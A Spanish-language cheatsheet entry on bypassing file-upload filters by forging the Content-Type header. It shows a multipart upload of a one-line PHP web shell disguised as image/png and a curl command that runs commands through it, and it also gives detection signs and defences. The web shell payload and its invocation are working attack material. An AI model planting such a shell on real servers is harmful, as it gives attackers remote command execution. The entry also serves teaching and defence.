File Upload Bypass (Content-Type)
Arsenal completo de comandos en la cheatsheetMuchos formularios de subida "validan" el tipo del fichero mirando la cabecera Content-Type que envía el cliente en la petición multipart. El problema es que ese valor lo pone el navegador (o nosotros), no el contenido real: cambiarlo a image/png mientras subimos un .php engaña a esa comprobación y deja escribir un fichero ejecutable en el servidor (subida de fichero a RCE).
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>Si el servidor solo comprueba el Content-Type (y no la extensión final, el contenido ni dónde se guarda), el .php acaba en una carpeta accesible por web y se invoca:
curl 'https://<ip>/uploads/shell.php?cmd=id'Es una de las validaciones más débiles, y se combina o alterna con otros bypasses de subida: extensión doble, null byte, o falsear la firma del fichero (magic bytes) cuando además se inspeccionan los primeros bytes.
Matices. Que el Content-Type cuele no garantiza RCE: hace falta además que el fichero se guarde con extensión ejecutable y en una ruta servida por el intérprete. Si el servidor renombra, reubica en un almacén sin ejecución o valida el contenido real, el bypass del Content-Type no basta.
Cómo detectarlo. En los logs del servidor, la firma es una petición multipart cuyo Content-Type declarado (image/png) no cuadra con la extensión ni con el contenido real del fichero, seguida poco después de una petición GET a ese mismo fichero en el directorio de subidas. Que un .php, .jsp o .aspx aparezca dentro de una carpeta de imágenes de usuario es, por sí solo, un indicador de compromiso.
Defensa. No confiar en el Content-Type del cliente; validar el contenido real (tipo MIME por magic bytes del lado servidor), forzar una extensión segura, almacenar fuera del webroot y servir con un manejador que no ejecute.